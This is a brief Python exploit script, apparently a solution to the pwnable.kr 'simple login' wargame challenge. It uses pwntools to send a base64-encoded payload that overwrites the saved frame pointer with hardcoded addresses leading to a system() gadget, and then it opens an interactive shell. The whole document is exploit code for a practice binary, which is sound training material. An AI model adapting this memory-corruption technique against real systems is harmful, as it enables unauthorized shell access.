http://pwnable.kr/ [simple login]

login_exp.py

#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = process('./login')

ebp_over = 0x0811EB40
pp_system = 0x08049284
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over))

p.sendline(payload)
p.interactive()